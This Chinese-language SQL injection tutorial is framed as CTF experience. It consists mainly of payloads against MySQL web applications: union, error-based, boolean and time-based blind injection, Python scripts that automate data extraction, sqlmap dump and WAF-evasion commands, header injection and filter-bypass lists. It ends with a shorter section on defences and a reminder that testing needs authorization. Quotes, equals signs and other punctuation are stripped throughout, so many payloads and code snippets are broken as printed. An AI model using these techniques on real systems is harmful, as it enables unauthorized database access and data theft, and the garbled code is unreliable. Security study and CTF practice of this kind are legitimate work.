1. SQL注入基础与实战思维SQL注入就像一把能打开数据库大门的万能钥匙但前提是你得知道锁孔在哪里。想象一下你面前有个自动售货机Web应用正常操作是投币-按键-取货。但如果有人发现按可乐退款键连按三次能吐出所有商品这就是注入攻击的通俗版。先看这个典型漏洞案例$query SELECT * FROM users WHERE id $_GET[id];当你在URL输入?id1时数据库收到的命令就变成了SELECT * FROM users WHERE id 1这个单引号就像突然打断售货机指令的干扰信号导致系统报错。而攻击者正是通过这些错误信息慢慢摸清数据库结构的。实战中我常用这几个函数快速获取信息database()当前数据库名version()MySQL版本user()当前数据库用户关键技巧遇到字符型注入时记得用#或--注释掉后续语句。比如输入1 and 11#实际执行的SQL是SELECT * FROM news WHERE id1 and 11#这样就能绕过引号闭合问题。最近在CTFHUB遇到个过滤空格的关卡用/**/代替空格成功突破比如?id1/**/union/**/select/**/1,database()2. 手工注入实战全流程2.1 整数型注入七步法上周打CTF时遇到个典型整数型注入我的完整攻击流程是这样的基础验证输入2-1返回与1相同结果确认存在运算注入逻辑测试1 and 11返回正常1 and 12无结果确认and可用列数探测1 order by 2正常而order by 3报错确定2列显位定位-1 union select 1,2发现数字2显示在页面信息收集-1 union select 1,database() -- 爆出库名sqli -1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schemasqli)字段提取-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_nameflag)最终获取-1 union select 1,(select flag from sqli.flag limit 0,1)2.2 报错注入三大神器当页面没有数据显示位时报错注入就是最佳选择。我最常用的三种方式extractvalue()注入?id1 and extractvalue(null,concat(0x7e,(select database()),0x7e))这个0x7e(~)就像错误信息的书签让数据库把查询结果夹在报错信息里吐出来。updatexml()技巧1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1),0x7e),1)最近发现用mid()函数可以解决显示截断问题1 and updatexml(1,concat(0x7e,mid((select flag from flag),10),0x7e),1)floor()报错1 union select count(*),concat(floor(rand(0)*2),(select database())) x from information_schema.tables group by x这种方法的原理就像故意让数据库做不可能的分类统计逼它报错时泄露信息。3. 盲注攻防实战3.1 布尔盲注猜解术去年某次比赛中遇到个只有登录成功/失败两种状态的系统我是这样攻破的先测数据库长度admin and length(database())8--通过响应变化确定长度是8逐字符猜解库名admin and substr(database(),1,1)s--用Burp的Intruder模块爆破所有位置发现库名是security查表结构admin and (select count(*) from information_schema.tables where table_schemadatabase())4--绕过技巧遇到过滤substr时改用mid()或left()admin and mid(database(),2,1)e--3.2 时间盲注实战有个更变态的靶场连布尔回显都没有只能靠延迟判断1 and if(ascii(substr(database(),1,1))115,sleep(3),1)--当第一个字符是s(ASCII 115)时页面响应会延迟3秒。用这个脚本自动化猜解import requests import time chars abcdefghijklmnopqrstuvwxyz0123456789_ result for i in range(1,20): for c in chars: start time.time() payload f1 and if(substr(database(),{i},1){c},sleep(2),0)-- requests.get(fhttp://target/?id{payload}) if time.time() - start 1.5: result c print(result) break4. SQLMap高效利用指南4.1 基础侦查命令虽然手工注入很有成就感但比赛时间紧迫时还得靠SQLMap。我的常用侦查组合# 基础检测 sqlmap -u http://target/?id1 --batch --risk3 # 获取所有数据库 sqlmap -u http://target/?id1 --dbs # 指定数据库查表 sqlmap -u http://target/?id1 -D sqli --tables # 快速dump数据 sqlmap -u http://target/?id1 -D sqli -T flag --dump实用技巧遇到Token验证时用--csrf-token参数配合Burp抓取的token值。4.2 高阶绕过技巧上周遇到个WAF防护的靶场我是这样突破的使用随机User-Agentsqlmap -u http://target/?id1 --random-agent延迟请求避免触发频率限制sqlmap -u http://target/?id1 --delay2混淆SQL语句sqlmap -u http://target/?id1 --tamperspace2comment二阶注入模式sqlmap -u http://target/login --datauseradminpass123 --second-urlhttp://target/dashboard特别提醒在CTF比赛中遇到Cookie注入点时记得这样处理sqlmap -u http://target --cookieid1* --level25. 特殊场景突破技巧5.1 HTTP头注入实战上个月遇到个UA注入的靶场Burp抓包后发现User-Agent处存在注入先测试基础注入GET / HTTP/1.1 User-Agent: or 11--确认注入后查库名User-Agent: union select 1,database()--最终获取flagUser-Agent: union select 1,(select flag from uztgkqmitp)--类似场景Referer注入和X-Forwarded-For注入原理相同只需要修改对应头部字段即可。5.2 过滤绕过宝典遇到过滤关键字的靶场时我的绕过字典包括空格替代方案/**/ || %0a || %0d || %09(tab)等号替代方案like || regexp || in()注释符替代# || -- || ;%00字符串拼接技巧concat(fl,ag) || 0x666c6167(hex)最近成功用这种姿势绕过过滤?id1%0aunion%0aselect%0a1,(selecta:mid(table_name,1,1)from%0ainformation_schema.tables%0alimit%0a1)||a6. 防御与加固方案打了这么多年CTF也总结了些防护经验。对于开发者来说这些措施最有效参数化查询最有效# Python示例 cursor.execute(SELECT * FROM users WHERE id %s, (user_id,))最小权限原则CREATE USER webuserlocalhost IDENTIFIED BY strongpassword; GRANT SELECT ON app_db.users TO webuserlocalhost;WAF规则配置Nginx示例location / { ModSecurityEnabled on; ModSecurityConfig modsecurity.conf; }错误信息处理// 不要显示详细错误 ini_set(display_errors, 0); // 自定义错误页面 function log_error($message) { file_put_contents(/var/log/sql_errors.log, $message); header(Location: /error.html); exit; }在最近一次渗透测试中我发现即使使用了预处理语句如果SQL拼接方式不当仍然可能被绕过。比如// 错误示例 String query SELECT * FROM users WHERE filterColumn ?; PreparedStatement stmt conn.prepareStatement(query);这种情况下filterColumn如果可控仍可能导致注入。正确的做法是白名单校验ListString validColumns Arrays.asList(id, name, email); if (!validColumns.contains(filterColumn)) { throw new IllegalArgumentException(Invalid column); }7. CTF实战经验分享去年带队打CTF时遇到个综合注入题融合了多种过滤规则。最终我们是这样攻克的信息收集阶段用/*!50000select*/绕过关键字过滤发现服务器是MySQL 5.7利用json_extract函数绕过部分限制数据提取阶段id1 and (select/*!50000*/group_concat(table_name)from/*!50000*/information_schema.tables)regexp(flag)发现表名被随机化改用模糊查询id1 and (select/*!50000*/table_name/*!50000*/from/*!50000*/information_schema.tables/*!50000*/where/*!50000*/table_schemadatabase()/*!50000*/limit/*!50000*/1)like(%fl%)最终突破 发现flag被分片存储写了个自动化脚本拼接import requests base_url http://target/?id flag for i in range(1,50): payload f1 and (select mid(flag,{i},1) from flag_table)a for c in abcdefghijklmnopqrstuvwxyz{}_0123456789: r requests.get(base_url payload.replace(a, c)) if content_exists in r.text: flag c print(flag) break重要心得遇到复杂过滤时多尝试非常规函数如elt()、export_set()、make_set()等有时候会有奇效。另外真实环境中切记遵守法律法规所有测试必须获得授权。